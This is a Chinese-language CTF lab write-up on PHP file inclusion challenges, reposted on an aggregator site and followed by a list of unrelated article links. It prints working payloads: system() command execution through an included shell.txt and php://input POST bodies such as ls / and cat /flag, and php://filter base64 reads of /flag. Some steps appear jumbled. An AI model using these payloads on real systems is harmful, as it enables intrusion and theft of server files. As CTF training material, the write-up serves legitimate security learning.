当前位置: 首页 > news >正文

【CTF夺旗赛】文件包含漏洞攻防

文件包含

这个关卡的代码仅简单检查file参数值中是否出现"flag"字符串,若没有,则直接使用include函数包含。攻击者可以利用此功能包含服务器上的其他文件(如日志、Session文件)或​​包含一个可执行的脚本文件​​来执行系统命令。

构造攻击​​:

  • ​URL​​:http://challenge-xxx.sandbox.ctfhub.com:10800/?file=shell.txt

http://challenge-72077bf4ceb6dc65.sandbox.ctfhub.com:10800/?file=shell.txt

ctfhub=system("find / -name flag*"

php://input

使用伪协议直接执行代码​

       当服务器上没有现成的可包含脚本文件时,php://input伪协议是更强大的武器。它允许你直接将要执行的PHP代码放在请求体中进行包含。

  1. ​漏洞代码分析​​:要求file参数的值前6个字符必须是php://,这正引导我们使用PHP伪协议。

  2. ​构造攻击​​:

    • ​URL​​:http://challenge-xxx.sandbox.ctfhub.com:10800/?file=php://input

    • ​方法​​:POST

    • ​请求体(Body)​​:直接写入要执行的PHP代码。

  3. ​攻击流程​​:

    列出根目录,确认flag位置​​。​从返回结果中清晰看到根目录下存在一个名为flag的文件(或flag_xxxxx)。列出服务器根目录下的所有文件和文件夹。​​发送的POST数据(Body)​​:<?php system('ls /');?>​直接读取flag文件​结果​​:成功在HTTP响应体中获取到flag:ctfhub{eccc6c869ae2369fb0fee66b7}。​​目的​​:直接读取flag文件内容。发送的POST数据(Body)​​:<?php system('cat /flag');?>(或 cat /flag_xxxxx)

远程包含

<?php system('ls /');?>

读取源代码

解决方案:使用读取文件

PHP的php://filter包装器可以用于读取文件内容并对其进行编码(如base64编码),从而绕过直接包含文件的限制。具体步骤如下:

  1. ​构造Payload​​:使用php://filter/convert.base64-encode/resource=/flag作为file参数的值。这个Payload会读取/flag文件的内容,并将其转换为base64编码后输出。

    完整的URL示例:http://challenge-3513bfd6b5252588.sandbox.ctfhub.com/?file=php://filter/convert.base64-encode/resource=/flag
  2. ​访问URL​​:在浏览器或工具中访问上述URL。服务器会包含这个过滤器流,并返回base64编码后的flag内容。

  3. ​解码base64​​:从响应中获取base64字符串,然后解码即可得到flag。

?file=php://filter/convert.base64-encode/resource=/flag

http://www.dtcms.com/a/479650.html

相关文章:

  • 网站建设和使用现状网站 多个ip 备案
  • 网站的域名和空间外贸建站及推广
  • 中国平安官方网站心态建设课件广州软件开发公司排行榜
  • xps13适合网站开发吗wordpress tagline
  • 手机做兼职的网站公司取名网免费版
  • 推荐的 Visual Studio 2026 Insider C++ 程序项目属性配置
  • 【C学习】13-数组使用与运算
  • 甜品网站首页设计昆明市住房和城乡建设局网站上看的
  • 越秀公司网站建设洛阳霞光科技专业网站制作
  • 做外贸的都有那些网站百度seo是什么意思呢
  • 网站制作的语言云建站网址
  • 网站开发试验报告上海外贸大厦
  • JAVA实现调整字符串
  • SSM教务信息管理系统3rtdg(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • JAVA同城服务上门家政派单系统源码,安装部署指南、API接口文档、二次开发手册
  • 后缀学习笔记 | -er/-or -ee 系列
  • 小网站asp好还是php好网络科技公司取名字参考大全
  • 【安卓开发】【Android】项目中提示“找不到XXXActivity”解决方法
  • jeesite mybatis添加拦截器,推送指定表的变更数据到其他数据库
  • [MRCTF2020]千层套路1
  • 新网站建设的工作总结怎么在网上免费做公司网站
  • .net商城网站开发开设计公司要怎么规划
  • 在哪里可以做个人网站上海建站shwzzz
  • 项目管理的核心价值是什么?
  • 哪有做机械设计的网站无经验培训 网页设计学员
  • 常州网站建设平台带视频的网站模板
  • DrayTek Vigor路由器mainfunction.cgi接口存在命令执行漏洞
  • 企业内部网站打不开甜点的网站建设规划书
  • 网站loading动画wordpress 做app
  • STM32 DMA直接存储器访问(寄存器与HAL库实现)